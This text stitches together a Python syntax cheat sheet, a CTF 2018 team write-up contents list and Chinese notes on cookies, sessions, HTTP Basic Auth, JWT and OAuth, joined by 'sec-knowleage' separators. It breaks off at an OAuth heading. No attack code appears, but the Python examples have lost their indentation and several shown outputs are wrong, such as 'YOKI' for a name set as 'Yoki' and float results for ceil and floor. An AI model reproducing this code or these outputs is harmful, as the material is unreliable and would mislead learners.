```
Similar to List but immutable
### Set
```python
set1 = {"a", "b", "c"}
set2 = set(("a", "b", "c"))
```
Set of unique items/objects
### Dictionary
```python {.wrap}
>>> empty_dict = {}
>>> a = {"one": 1, "two": 2, "three": 3}
>>> a["one"]
1
>>> a.keys()
dict_keys(['one', 'two', 'three'])
>>> a.values()
dict_values([1, 2, 3])
>>> a.update({"four": 4})
>>> a.keys()
dict_keys(['one', 'two', 'three', 'four'])
>>> a['four']
4
```
Key: Value pair, JSON like object
### Casting
#### Integers
```python
x = int(1) # x will be 1
y = int(2.8) # y will be 2
z = int("3") # z will be 3
```
#### Floats
```python
x = float(1) # x will be 1.0
y = float(2.8) # y will be 2.8
z = float("3") # z will be 3.0
w = float("4.2") # w will be 4.2
```
#### Strings
```python
x = str("s1") # x will be 's1'
y = str(2) # y will be '2'
z = str(3.0) # z will be '3.0'
```
Python Advanced Data Types
-----------------------
### Heaps {.col-span-2 .row-span-3}
```python
import heapq
myList = [9, 5, 4, 1, 3, 2]
heapq.heapify(myList) # turn myList into a Min Heap
print(myList) # => [1, 3, 2, 5, 9, 4]
print(myList[0]) # first value is always the smallest in the heap
heapq.heappush(myList, 10) # insert 10
x = heapq.heappop(myList) # pop and return smallest item
print(x) # => 1
```
#### Negate all values to use Min Heap as Max Heap
```python
myList = [9, 5, 4, 1, 3, 2]
myList = [-val for val in myList] # multiply by -1 to negate
heapq.heapify(myList)
x = heapq.heappop(myList)
print(-x) # => 9 (making sure to multiply by -1 again)
```
Heaps are binary trees for which every parent node has a value less than or equal to any of its children. Useful for accessing min/max value quickly. Time complexity: O(n) for heapify, O(log n) push and pop. See: [Heapq](https://docs.python.org/3/library/heapq.html)
### Stacks and Queues {.row-span-3}
```python
from collections import deque
q = deque() # empty
q = deque([1, 2, 3]) # with values
q.append(4) # append to right side
q.appendleft(0) # append to left side
print(q) # => deque([0, 1, 2, 3, 4])
x = q.pop() # remove & return from right
y = q.popleft() # remove & return from left
print(x) # => 4
print(y) # => 0
print(q) # => deque([1, 2, 3])
q.rotate(1) # rotate 1 step to the right
print(q) # => deque([3, 1, 2])
```
Deque is a double-ended queue with O(1) time for append/pop operations from both sides. Used as stacks and queues. See: [Deque](https://docs.python.org/3/library/collections.html#collections.deque)
Python Strings
------------
### Array-like
```python
>>> hello = "Hello, World"
>>> print(hello[1])
e
>>> print(hello[-1])
d
```
Get the character at position 1 or last
### Looping
```python
>>> for char in "foo":
... print(char)
f
o
o
```
Loop through the letters in the word "foo"
### Slicing string {.row-span-4}
```java
┌───┬───┬───┬───┬───┬───┬───┐
| m | y | b | a | c | o | n |
└───┴───┴───┴───┴───┴───┴───┘
0 1 2 3 4 5 6 7
-7 -6 -5 -4 -3 -2 -1
```
---
```python
>>> s = 'mybacon'
>>> s[2:5]
'bac'
>>> s[0:2]
'my'
```
```python
>>> s = 'mybacon'
>>> s[:2]
'my'
>>> s[2:]
'bacon'
>>> s[:2] + s[2:]
'mybacon'
>>> s[:]
'mybacon'
```
```python
>>> s = 'mybacon'
>>> s[-5:-1]
'baco'
>>> s[2:6]
'baco'
```
#### With a stride
```python
>>> s = '12345' * 5
>>> s
'1234512345123451234512345'
>>> s[::5]
'11111'
>>> s[4::5]
'55555'
>>> s[::-5]
'55555'
>>> s[::-1]
'5432154321543215432154321'
```
### String Length
```python
>>> hello = "Hello, World!"
>>> print(len(hello))
13
```
The len() function returns the length of a string
### Multiple copies
```python
>>> s = '===+'
>>> n = 8
>>> s * n
'===+===+===+===+===+===+===+===+'
```
### Check String
```python
>>> s = 'spam'
>>> s in 'I saw spamalot!'
True
>>> s not in 'I saw The Holy Grail!'
True
```
### Concatenates
```python
>>> s = 'spam'
>>> t = 'egg'
>>> s + t
'spamegg'
>>> 'spam' 'egg'
'spamegg'
```
### Formatting {.col-span-2}
```python
name = "John"
print("Hello, %s!" % name)
```
```python
name = "John"
age = 23
print("%s is %d years old." % (name, age))
```
#### format() Method
```python
txt1 = "My name is {fname}, I'm {age}".format(fname="John", age=36)
txt2 = "My name is {0}, I'm {1}".format("John", 36)
txt3 = "My name is {}, I'm {}".format("John", 36)
```
### Input
```python
>>> name = input("Enter your name: ")
Enter your name: Tom
>>> name
'Tom'
```
Get input data from console
### Join
```python
>>> "#".join(["John", "Peter", "Vicky"])
'John#Peter#Vicky'
```
### Endswith
```python
>>> "Hello, world!".endswith("!")
True
```
Python F-Strings (Since Python 3.6+)
----------------
### f-Strings usage
```python
>>> website = 'Quickref.ME'
>>> f"Hello, {website}"
"Hello, Quickref.ME"
>>> num = 10
>>> f'{num} + 10 = {num + 10}'
'10 + 10 = 20'
>>> f"""He said {"I'm John"}"""
"He said I'm John"
>>> f'5 {"{stars}"}'
'5 {stars}'
>>> f'{{5}} {"stars"}'
'{5} stars'
>>> name = 'Eric'
>>> age = 27
>>> f"""Hello!
... I'm {name}.
... I'm {age}."""
"Hello!\n I'm Eric.\n I'm 27."
```
it is available since Python 3.6, also see: [Formatted string literals](https://docs.python.org/3/reference/lexical_analysis.html#f-strings)
### f-Strings Fill Align
```python
>>> f'{"text":10}' # [width]
'text '
>>> f'{"test":*>10}' # fill left
'******test'
>>> f'{"test":*<10}' # fill right
'test******'
>>> f'{"test":*^10}' # fill center
'***test***'
>>> f'{12345:0>10}' # fill with numbers
'0000012345'
```
### f-Strings Type
```python
>>> f'{10:b}' # binary type
'1010'
>>> f'{10:o}' # octal type
'12'
>>> f'{200:x}' # hexadecimal type
'c8'
>>> f'{200:X}'
'C8'
>>> f'{345600000000:e}' # scientific notation
'3.456000e+11'
>>> f'{65:c}' # character type
'A'
>>> f'{10:#b}' # [type] with notation (base)
'0b1010'
>>> f'{10:#o}'
'0o12'
>>> f'{10:#x}'
'0xa'
```
### F-Strings Others
```python
>>> f'{-12345:0=10}' # negative numbers
'-000012345'
>>> f'{12345:010}' # [0] shortcut (no align)
'0000012345'
>>> f'{-12345:010}'
'-000012345'
>>> import math # [.precision]
>>> math.pi
3.141592653589793
>>> f'{math.pi:.2f}'
'3.14'
>>> f'{1000000:,.2f}' # [grouping_option]
'1,000,000.00'
>>> f'{1000000:_.2f}'
'1_000_000.00'
>>> f'{0.25:0%}' # percentage
'25.000000%'
>>> f'{0.25:.0%}'
'25%'
```
### F-Strings Sign
```python
>>> f'{12345:+}' # [sign] (+/-)
'+12345'
>>> f'{-12345:+}'
'-12345'
>>> f'{-12345:+10}'
' -12345'
>>> f'{-12345:+010}'
'-000012345'
```
Python Lists
------------
### Defining
```python
>>> li1 = []
>>> li1
[]
>>> li2 = [4, 5, 6]
>>> li2
[4, 5, 6]
>>> li3 = list((1, 2, 3))
>>> li3
[1, 2, 3]
>>> li4 = list(range(1, 11))
>>> li4
[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
```
### Generate {.col-span-2}
```python
>>> list(filter(lambda x : x % 2 == 1, range(1, 20)))
[1, 3, 5, 7, 9, 11, 13, 15, 17, 19]
>>> [x ** 2 for x in range (1, 11) if x % 2 == 1]
[1, 9, 25, 49, 81]
>>> [x for x in [3, 4, 5, 6, 7] if x > 5]
[6, 7]
>>> list(filter(lambda x: x > 5, [3, 4, 5, 6, 7]))
[6, 7]
```
### Append
```python
>>> li = []
>>> li.append(1)
>>> li
[1]
>>> li.append(2)
>>> li
[1, 2]
>>> li.append(4)
>>> li
[1, 2, 4]
>>> li.append(3)
>>> li
[1, 2, 4, 3]
```
### List Slicing {.col-span-2 .row-span-3}
Syntax of list slicing:
```python
a_list[start:end]
a_list[start:end:step]
```
#### Slicing
```python
>>> a = ['spam', 'egg', 'bacon', 'tomato', 'ham', 'lobster']
>>> a[2:5]
['bacon', 'tomato', 'ham']
>>> a[-5:-2]
['egg', 'bacon', 'tomato']
>>> a[1:4]
['egg', 'bacon', 'tomato']
```
#### Omitting index
```python
>>> a[:4]
['spam', 'egg', 'bacon', 'tomato']
>>> a[0:4]
['spam', 'egg', 'bacon', 'tomato']
>>> a[2:]
['bacon', 'tomato', 'ham', 'lobster']
>>> a[2:len(a)]
['bacon', 'tomato', 'ham', 'lobster']
>>> a
['spam', 'egg', 'bacon', 'tomato', 'ham', 'lobster']
>>> a[:]
['spam', 'egg', 'bacon', 'tomato', 'ham', 'lobster']
```
#### With a stride
```python
['spam', 'egg', 'bacon', 'tomato', 'ham', 'lobster']
>>> a[0:6:2]
['spam', 'bacon', 'ham']
>>> a[1:6:2]
['egg', 'tomato', 'lobster']
>>> a[6:0:-2]
['lobster', 'tomato', 'egg']
>>> a
['spam', 'egg', 'bacon', 'tomato', 'ham', 'lobster']
>>> a[::-1]
['lobster', 'ham', 'tomato', 'bacon', 'egg', 'spam']
```
### Remove
```python
>>> li = ['bread', 'butter', 'milk']
>>> li.pop()
'milk'
>>> li
['bread', 'butter']
>>> del li[0]
>>> li
['butter']
```
### Access
```python
>>> li = ['a', 'b', 'c', 'd']
>>> li[0]
'a'
>>> li[-1]
'd'
>>> li[4]
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
IndexError: list index out of range
```
### Concatenating {.row-span-2}
```python
>>> odd = [1, 3, 5]
>>> odd.extend([9, 11, 13])
>>> odd
[1, 3, 5, 9, 11, 13]
>>> odd = [1, 3, 5]
>>> odd + [9, 11, 13]
[1, 3, 5, 9, 11, 13]
```
### Sort & Reverse {.row-span-2}
```python
>>> li = [3, 1, 3, 2, 5]
>>> li.sort()
>>> li
[1, 2, 3, 3, 5]
>>> li.reverse()
>>> li
[5, 3, 3, 2, 1]
```
### Count
```python
>>> li = [3, 1, 3, 2, 5]
>>> li.count(3)
2
```
### Repeating
```python
>>> li = ["re"] * 3
>>> li
['re', 're', 're']
```
Python Flow control
------------
### Basic
```python
num = 5
if num > 10:
print("num is totally bigger than 10.")
elif num < 10:
print("num is smaller than 10.")
else:
print("num is indeed 10.")
```
### One line
```python
>>> a = 330
>>> b = 200
>>> r = "a" if a > b else "b"
>>> print(r)
a
```
### else if
```python
value = True
if not value:
print("Value is False")
elif value is None:
print("Value is None")
else:
print("Value is True")
```
Python Loops
--------
### Basic
```python
primes = [2, 3, 5, 7]
for prime in primes:
print(prime)
```
Prints: 2 3 5 7
### With index
```python
animals = ["dog", "cat", "mouse"]
# enumerate() adds counter to an iterable
for i, value in enumerate(animals):
print(i, value)
```
Prints: 0 dog 1 cat 2 mouse
### While
```python
x = 0
while x < 4:
print(x)
x += 1 # Shorthand for x = x + 1
```
Prints: 0 1 2 3
### Break
```python
x = 0
for index in range(10):
x = index * 10
if index == 5:
break
print(x)
```
Prints: 0 10 20 30 40
### Continue
```python
for index in range(3, 8):
x = index * 10
if index == 5:
continue
print(x)
```
Prints: 30 40 60 70
### Range
```python
for i in range(4):
print(i) # Prints: 0 1 2 3
for i in range(4, 8):
print(i) # Prints: 4 5 6 7
for i in range(4, 10, 2):
print(i) # Prints: 4 6 8
```
### With zip()
```python
words = ['Mon', 'Tue', 'Wed']
nums = [1, 2, 3]
# Use zip to pack into a tuple list
for w, n in zip(words, nums):
print('%d:%s, ' %(n, w))
```
Prints: 1:Mon, 2:Tue, 3:Wed,
### for/else
```python
nums = [60, 70, 30, 110, 90]
for n in nums:
if n > 100:
print("%d is bigger than 100" %n)
break
else:
print("Not found!")
```
Also see: [Python Tips](https://book.pythontips.com/en/latest/for_-_else.html)
Python Functions
--------
### Basic
```python
def hello_world():
print('Hello, World!')
```
### Return
```python
def add(x, y):
print("x is %s, y is %s" %(x, y))
return x + y
add(5, 6) # => 11
```
### Positional arguments
```python
def varargs(*args):
return args
varargs(1, 2, 3) # => (1, 2, 3)
```
### Keyword arguments
```python
def keyword_args(**kwargs):
return kwargs
# => {"big": "foot", "loch": "ness"}
keyword_args(big="foot", loch="ness")
```
### Returning multiple
```python
def swap(x, y):
return y, x
x = 1
y = 2
x, y = swap(x, y) # => x = 2, y = 1
```
### Default Value
```python
def add(x, y=10):
return x + y
add(5) # => 15
add(5, 20) # => 25
```
### Anonymous functions
```python
# => True
(lambda x: x > 2)(3)
# => 5
(lambda x, y: x ** 2 + y ** 2)(2, 1)
```
Python Modules
--------
### Import modules
```python
import math
print(math.sqrt(16)) # => 4.0
```
### From a module
```python
from math import ceil, floor
print(ceil(3.7)) # => 4.0
print(floor(3.7)) # => 3.0
```
### Import all
```python
from math import *
```
### Shorten module
```python
import math as m
# => True
math.sqrt(16) == m.sqrt(16)
```
### Functions and attributes
```python
import math
dir(math)
```
Python File Handling
----------
### Read file
#### Line by line
```python
with open("myfile.txt") as file:
for line in file:
print(line)
```
#### With line number
```python
file = open('myfile.txt', 'r')
for i, line in enumerate(file, start=1):
print("Number %s: %s" % (i, line))
```
### String
#### Write a string
```python
contents = {"aa": 12, "bb": 21}
with open("myfile1.txt", "w+") as file:
file.write(str(contents))
```
#### Read a string
```python
with open('myfile1.txt', "r+") as file:
contents = file.read()
print(contents)
```
### Object
#### Write an object
```python
contents = {"aa": 12, "bb": 21}
with open("myfile2.txt", "w+") as file:
file.write(json.dumps(contents))
```
#### Read an object
```python
with open('myfile2.txt', "r+") as file:
contents = json.load(file)
print(contents)
```
### Delete a File
```python
import os
os.remove("myfile.txt")
```
### Check and Delete
```python
import os
if os.path.exists("myfile.txt"):
os.remove("myfile.txt")
else:
print("The file does not exist")
```
### Delete Folder
```python
import os
os.rmdir("myfolder")
```
Python Classes & Inheritance
--------
### Defining
```python
class MyNewClass:
pass
# Class Instantiation
my = MyNewClass()
```
### Constructors
```python
class Animal:
def __init__(self, voice):
self.voice = voice
cat = Animal('Meow')
print(cat.voice) # => Meow
dog = Animal('Woof')
print(dog.voice) # => Woof
```
### Method
```python
class Dog:
# Method of the class
def bark(self):
print("Ham-Ham")
charlie = Dog()
charlie.bark() # => "Ham-Ham"
```
### Class Variables {.row-span-2}
```python
class MyClass:
class_variable = "A class variable!"
# => A class variable!
print(MyClass.class_variable)
x = MyClass()
# => A class variable!
print(x.class_variable)
```
### Super() Function {.row-span-2}
```python
class ParentClass:
def print_test(self):
print("Parent Method")
class ChildClass(ParentClass):
def print_test(self):
print("Child Method")
# Calls the parent's print_test()
super().print_test()
```
---
```python
>>> child_instance = ChildClass()
>>> child_instance.print_test()
Child Method
Parent Method
```
### repr() method
```python
class Employee:
def __init__(self, name):
self.name = name
def __repr__(self):
return self.name
john = Employee('John')
print(john) # => John
```
### User-defined exceptions
```python
class CustomError(Exception):
pass
```
### Polymorphism
```python
class ParentClass:
def print_self(self):
print('A')
class ChildClass(ParentClass):
def print_self(self):
print('B')
obj_A = ParentClass()
obj_B = ChildClass()
obj_A.print_self() # => A
obj_B.print_self() # => B
```
### Overriding
```python
class ParentClass:
def print_self(self):
print("Parent")
class ChildClass(ParentClass):
def print_self(self):
print("Child")
child_instance = ChildClass()
child_instance.print_self() # => Child
```
### Inheritance
```python
class Animal:
def __init__(self, name, legs):
self.name = name
self.legs = legs
class Dog(Animal):
def sound(self):
print("Woof!")
Yoki = Dog("Yoki", 4)
print(Yoki.name) # => YOKI
print(Yoki.legs) # => 4
Yoki.sound() # => Woof!
```
Miscellaneous
----------
### Comments
```python
# This is a single line comments.
```
```python
""" Multiline strings can be written
using three "s, and are often used
as documentation.
"""
```
```python
''' Multiline strings can be written
using three 's, and are often used
as documentation.
'''
```
### Generators
```python
def double_numbers(iterable):
for i in iterable:
yield i + i
```
Generators help you make lazy code.
### Generator to list
```python
values = (-x for x in [1,2,3,4,5])
gen_to_list = list(values)
# => [-1, -2, -3, -4, -5]
print(gen_to_list)
```
### Handle exceptions {.col-span-3}
```python
try:
# Use "raise" to raise an error
raise IndexError("This is an index error")
except IndexError as e:
pass # Pass is just a no-op. Usually you would do recovery here.
except (TypeError, NameError):
pass # Multiple exceptions can be handled together, if required.
else: # Optional clause to the try/except block. Must follow all except blocks
print("All good!") # Runs only if the code in try raises no exceptions
finally: # Execute under all circumstances
print("We can clean up resources here")
```
|
sec-knowleage
|
# InsomniHack Teaser CTF 2018
Team: c7f.m0d3, sasza, nazywam, akrasuski1, ppr, rodbert, hubert, borysp, rev, cr019283, psrok1, shalom
### Table of contents
* [MagicHat (pwn)](pwn_magic_hat)
* [Cool Storage Service (web)](web_css)
|
sec-knowleage
|
# 认证 & 授权
> 注 : 笔记中拓扑图 xmind 源文件在其图片目录下
---
**相关文章**
- [看完这篇 Session、Cookie、Token,和面试官扯皮就没问题了](https://www.cnblogs.com/cxuanBlog/p/12635842.html)
- [还分不清 Cookie、Session、Token、JWT?](https://zhuanlan.zhihu.com/p/164696755)
---
## 基础
**什么是认证(Authentication)**
验证当前用户的身份,证明“你是你自己”
场景
- 用户名密码登录
- 邮箱发送登录链接
- 手机号接收验证码
- 只要你能收到邮箱/验证码,就默认你是账号的主人
**什么是授权(Authorization)**
用户授予第三方应用访问该用户某些资源的权限
场景
- cookie
- token
- SSO
- OAuth
---
## Cookie
**什么是 Cookie**
Cookie 指某些网站为了辨别用户身份而储存在用户本地终端(Client Side)上的数据(通常经过加密)。
HTTP 协议中的 Cookie 包括 Web Cookie 和浏览器 Cookie,它是服务器发送到 Web 浏览器的一小块数据。服务器发送到浏览器的 Cookie,浏览器会进行存储,并与下一个请求一起发送到服务器。通常,它用于判断两个请求是否来自于同一个浏览器,例如用户保持登录状态。
Cookie 主要用于下面三个目的
- 会话管理
- 登陆、购物车、游戏得分或者服务器应该记住的其他内容
- 个性化
- 用户偏好、主题或者其他设置
- 追踪
- 记录和分析用户行为
**Cookie 的特点**
- HTTP 是无状态的协议(对于事务处理没有记忆能力,每次客户端和服务端会话完成时,服务端不会保存任何会话信息):每个请求都是完全独立的,服务端无法确认当前访问者的身份信息,无法分辨上一次的请求发送者和这一次的发送者是不是同一个人。所以服务器与浏览器为了进行会话跟踪(知道是谁在访问我),就必须主动的去维护一个状态,这个状态用于告知服务端前后两个请求是否来自同一浏览器。而这个状态需要通过 cookie 或者 session 去实现。
- cookie 存储在客户端: cookie 是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。
- cookie 是不可跨域的: 每个 cookie 都会绑定单一的域名,无法在别的域名下获取使用,一级域名和二级域名之间是允许共享使用的(靠的是 domain)。
**Cookie 的类型**
有两种类型的 Cookies,一种是 Session Cookies,一种是 Persistent Cookies,如果 Cookie 不包含到期日期,则将其视为会话 Cookie。会话 Cookie 存储在内存中,永远不会写入磁盘,当浏览器关闭时,此后 Cookie 将永久丢失。如果 Cookie 包含有效期 ,则将其视为持久性 Cookie。在到期指定的日期,Cookie 将从磁盘中删除。
- 会话 Cookies
会话 Cookie 有个特征,客户端关闭时 Cookie 会删除,因为它没有指定 Expires 或 Max-Age 指令。
但是,Web 浏览器可能会使用会话还原,这会使大多数会话 Cookie 保持永久状态,就像从未关闭过浏览器一样。
- 永久性 Cookies
永久性 Cookie 不会在客户端关闭时过期,而是在特定日期(Expires)或特定时间长度(Max-Age)外过期。例如
```
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
```
**HttpOnly 的作用**
会话 Cookie 中缺少 HttpOnly 属性会导致攻击者可以通过程序(JS脚本、Applet等)获取到用户的 Cookie 信息,造成 XSS.
HttpOnly 是微软对 Cookie 做的扩展,该值指定 Cookie 是否可通过客户端脚本访问。
如果在 Cookie 中没有设置 HttpOnly 属性为 true,可能导致 Cookie 被窃取。窃取的 Cookie 可以包含标识站点用户的敏感信息,如 ASP.NET 会话 ID 或 Forms 身份验证票证,攻击者可以重播窃取的 Cookie,以便伪装成用户或获取敏感信息,进行跨站脚本攻击等。
**Cookie 的作用域**
Domain 和 Path 标识定义了 Cookie 的作用域:即 Cookie 应该发送给哪些 URL。
Domain 标识指定了哪些主机可以接受 Cookie。如果不指定,默认为当前主机 (不包含子域名)。如果指定了 Domain,则一般包含子域名。
例如,如果设置 Domain=mozilla.org,则 Cookie 也包含在子域名中(如 developer.mozilla.org)。
例如,设置 Path=/docs,则以下地址都会匹配:
- /docs
- /docs/Web/
- /docs/Web/HTTP
---
## Session
**什么是 Session**
客户端请求服务端,服务端会为这次请求开辟一块内存空间,这个对象便是 Session 对象,存储结构为 ConcurrentHashMap。Session 弥补了 HTTP 无状态特性,服务器可以利用 Session 存储客户端在同一个会话期间的一些操作记录。
session,指的是客户端与服务端维持的一个有状态会话,一种记录服务器和客户端会话状态的机制.
**Session 如何判断是否是同一会话**
- 服务器第一次接收到请求时,开辟了一块 Session 空间(创建了 Session 对象),同时生成一个 sessionId ,并通过响应头的 `Set-Cookie:JSESSIONID=XXXXXXX` 命令,向客户端发送要求设置 Cookie 的响应;
- 客户端收到响应后,在本机客户端设置了一个 `JSESSIONID=XXXXXXX` 的 Cookie 信息,该 Cookie 的过期时间为浏览器会话结束;
- 接下来客户端每次向同一个网站发送请求时,请求头都会带上该 Cookie 信息(包含 sessionId),请求会自动判断此域名下是否存在 Cookie 信息,如果存在自动将 Cookie 信息发送给服务端
- 然后,服务器通过读取请求头中的 Cookie 信息,获取名称为 JSESSIONID 的值,得到此次请求的 sessionId,再根据 SessionID 查找对应的 Session 信息,如果没有找到说明用户没有登录或者登录失效,如果找到 Session 证明用户已经登录可执行后面操作。
**Session 的缺点**
Session 机制有个缺点,比如 A 服务器存储了 Session,就是做了负载均衡后,假如一段时间内 A 的访问量激增,会转发到 B 进行访问,但是 B 服务器并没有存储 A 的 Session,会导致 Session 的失效。
**和 Cookie 的关系**
HTTP 协议是一种无状态协议,即每次服务端接收到客户端的请求时,都是一个全新的请求,服务器并不知道客户端的历史请求记录;Session 和 Cookie 的主要目的就是为了弥补 HTTP 的无状态特性。
session 可以基于 cookie 实现,session 存储在服务器端,sessionId 会被存储到客户端的 cookie 中.
cookie 是一个 http 头部,而 session 是一个虚拟概念。cookie 可以用于实现 session,也可以不。cookie 的用法远大于 session。反过来说,session 也未必需要用 cookie 实现。
---
## HTTP_Basic_Auth
**相关文章**
- [一文读懂HTTP Basic身份认证](https://juejin.im/entry/6844903586405564430)
- [HTTP基本认证](https://zh.wikipedia.org/wiki/HTTP%E5%9F%BA%E6%9C%AC%E8%AE%A4%E8%AF%81)
- [说说HttpClient三种Http Basic Authentication认证方式](https://cloud.tencent.com/developer/article/1499759)
- [HTTP Basic Auth 是怎么样工作的](https://cjting.me/2018/03/31/how-http-basic-auth-work/)
**什么是 HTTP_Basic_Auth**
HTTP Basic Auth 是 HTTP 提供的一种验证方式,因为明文传输用户名和密码,非 HTTPS 环境下很不安全,一般用的非常少。但是在某些情况下用一用还是非常方便的,比如,一些静态站点例如文档系统可以使用 HTTP Basic Auth 进行简单的权限验证。
**优点**
- 基本认证的一个优点是基本上所有流行的网页浏览器都支持基本认证。基本认证很少在可公开访问的互联网网站上使用,有时候会在小的私有系统中使用(如路由器网页管理接口)。后来的机制 HTTP 摘要认证是为替代基本认证而开发的,允许密钥以相对安全的方式在不安全的通道上传输。
- 程序员和系统管理员有时会在可信网络环境中使用基本认证,使用 Telnet 或其他明文网络协议工具手动地测试 Web 服务器。这是一个麻烦的过程,但是网络上传输的内容是人可读的,以便进行诊断。
**流程**
HTTP Basic Auth 使用两个 HTTP Header 实现,分别是 WWW-Authenticate 和 Authorization。
流程如下:
- 客户端请求服务器页面,服务器返回 401 以及 WWW-Authenticate: Basic realm="site"。
- 浏览器弹出对话框,提示用户输入用户名和密码。
- 浏览器再次请求页面,携带 Authorization: Basic <str>,其中,str=base64(username:password)。
- 服务器返回正常页面。
base64 只是一个编码过程,而不是加密过程,因此,HTTP Basic Auth 是在明文传输用户名和密码,中间设备很容易通过检查数据包获取用户名和密码。
**Realm**
WWW-Authenticate 这个头携带了一个 realm 属性,这个属性用来标注页面所属的区域,指当前认证的保护范围,一般情况下不用在意,随便填写或者不填写都可以。
但是,如果你的网站有两个子目录,每个子目录有自己的用户名和密码的话,realm 属性就比较重要了,这个属性会影响浏览器的密码自动填充过程。
同一个 server,访问受限的资源多种多样,比如资金信息、机密文档等。可以针对不同的资源定义不同的 realm,并且只允许特定的用户访问。跟 Linux 下的账户、分组体系很像,如下例子所示。
两个 URL,用户名和密码不相同。
- xxx.com/a : username: a, password: a, realm: whatever
- xxx.com/b : username: b, password: b, realm: whatever
1. 用户访问 /a,浏览器提示输密码,成功进入,浏览器将密码和 realm=whatever 关联
2. 用户访问 /b,浏览器请求,发现 401,同时 realm=whatever,默认使用上一次输入的密码填充
3. 还是 401,浏览器弹框提示用户输入,然后更新 realm=whatever 的密码关联
4. 用户访问 /a,浏览器自动使用 realm=whatever的密码进行填充(应该是缓存了相关信息,知道 /a 需要密码),收到 401,弹框提示用户输入,更新 realm=whatever 的密码关联
5. 用户访问 /b,和上面的流程一样,还是会导致弹框提示用户输入用户名和密码
也就是说,如果两个子目录的用户名和密码不一样,但是 realm 一样的话,会导致在两个子目录进行切换时,不停地输入用户民和密码。
如果 realm 不一样的话,就没有这个问题了,因为浏览器使用 realm 来关联用户名和密码。
---
## JWT
**相关文章**
- [JWT究竟是什么呢?](https://blog.fundebug.com/2018/07/12/what-is-jwt/)
- [五分钟带你了解啥是JWT](https://zhuanlan.zhihu.com/p/86937325)
- [JSON Web Token 入门教程](https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html)
**什么是 JWT**
JWT,全称 JSON Web Token,是一套开放的以 JSON 为基础的 Token 认证标准。什么是 Token 认证呢?比如,服务器可以生成一个 Token,该 Token 具有 “以管理员身份登录” 的申明,并将其提供给客户端,客户端可以使用该 Token 来证明它是管理员的身份并登入。
简单地说,JWT 是一个字符串,我们在发起网络请求时,将其放在 header 或者 url 中,这样可以保证传递的数据被篡改时能被我们发现,保证安全性。
示例 xxxxx.yyyyy.zzzzz 即为 JWT
```
http://www.example.com/private/?token=xxxxx.yyyyy.zzzzz
```
当收到 JWT 时,可以采用同样的算法和密钥生成签名 signature,如果一致,说明数据没有被篡改。
很重要一点在于,JWT 是用于验证而非加密,任何人即使没有密钥 secret,header 与 payload 中的数据都是可以获取的。
JWT 的 Token 由三部分组成,Header,Payload 与 Signature,它们之间用 “.” 连接, 如下:
```
header.payload.signature
```
### Header
Header 对象用于标识生成签名的算法,其中 “alg” 字段表示签名的加密算法,一般默认是 HMAC SHA256,也有简称为 HS256 的。
“typ”字段表示这个 Token 的类型,JWT 的 Token 统一这里填写的为“JWT”。
alg 为算法的缩写,typ 为类型的缩写
```json
{
"alg": "HS256",
"typ": "JWT"
}
```
然后,这个 JSON 被 Base64 编码,形成 JSON Web Token 的第一部分。
### Payload
payload 为 JWT 的第二部分,其 JSON 对象包含一系列键值对(key/value),存放的是真正需要传递的数据。其中包含声明(要求)。声明是关于实体(通常是用户)和其他数据的声明。声明有三种类型: registered, public 和 private。
- Registered claims : 这里有一组预定义的声明,它们不是强制的,但是推荐。比如:iss (issuer), exp (expiration time), sub (subject), aud (audience)等。
- Public claims : 可以随意定义。
- Private claims : 用于在同意使用它们的各方之间共享信息,并且不是注册的或公开的声明,也可以随意定义。
Registered claims 有特殊含义,比如 iat、exp 等,iat 表示 JWT 生成的实际,而 exp 代表 JWT 过期的时间。开发者可以使用其他非预定义的键用于传输数据。JWT规定了以下7个官方可选字段,但并不强制使用(声明名称都是三个字符)
* iss (issuer):签发人
* exp (expiration time):过期时间
* sub (subject):主题
* aud (audience):受众
* nbf (Not Before):生效时间
* iat (Issued At):签发时间
* jti (JWT ID):编号
除了上述的7个字段,用户可以在这个部分自定义 Public claims 和 Private claims,例如:
```json
{
"sub": "123456789",
"name": "shiroshiro",
"admin": false
}
```
以上两个字段都要最后经过 Base64 编码转换成字符串后才能当做 JWT Token 使用,但要注意的是 Base64 编码是可逆的,所以说任何人都可读到这两段的内容。
### Signature
signatrue,即签名,是 JWT 的第三部分。它由编码的 header 和 payload,使用用户指定的密钥 secret,采用 header 中指定的哈希算法生成。
signature 是根据 payload 生成的,两者是一一对应的,这样可以保证 payload 的数据不被篡改,除非密钥 secret 泄漏。
首先定义一个密钥,这个密钥由服务器保存,也只有服务器知道,不能泄露给用户。然后使用 Header 里面指定的签名算法生成签名,例如:
```
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
```
然后将这部分 base64 编码形成 JSON Web Token 第三部分
算出签名后使用 '.' 连接三段字符串,这就是 JWT Token 的结构。
### JWT 黑名单
**JWT 黑名单是什么**
同一时间只允许登录唯一一台设备。例如设备 A 中用户如果已经登录,那么使用设备 B 登录同一账户,设备 A 就无法继续使用了。
---
## OAuth
OAuth 协议为用户资源的授权提供了一个安全的、开放而又简易的标准。与以往的授权方式不同之处是 OAuth 的授权不会使第三方触及到用户的帐号信息(如用户名与密码),即第三方无需使用用户的用户名与密码就可以申请获得该用户资源的授权,因此 OAuth 是安全的。OAuth 是 Open Authorization 的简写。OAuth 已经有 2.0 版本了,2007 年发布了 OAuth1.0 协议,2011 年发布会了 OAuth2.0,2.0 与 1.0 之间不兼容。OAuth2.0 是目前最流行的授权机制,用来授权第三方应用,获取用户数据。
**相关文章**
- [理解OAuth 2.0](https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html)
- [OAuth 2.0 的一个简单解释](https://www.ruanyifeng.com/blog/2019/04/oauth_design.html)
- [关于 OAuth2.0 安全性你应该要知道的一些事](https://www.chrisyue.com/security-issue-about-oauth-2-0-you-should-know.html)
- [OAuth 2.0 的四种方式](https://www.ruanyifeng.com/blog/2019/04/oauth-grant-types.html)
- [OAuth2.0 认证](https://mp.weixin.qq.com/s/JYb26bWL99i46Bc77rCKUQ)
**OAuth 的应用举例**
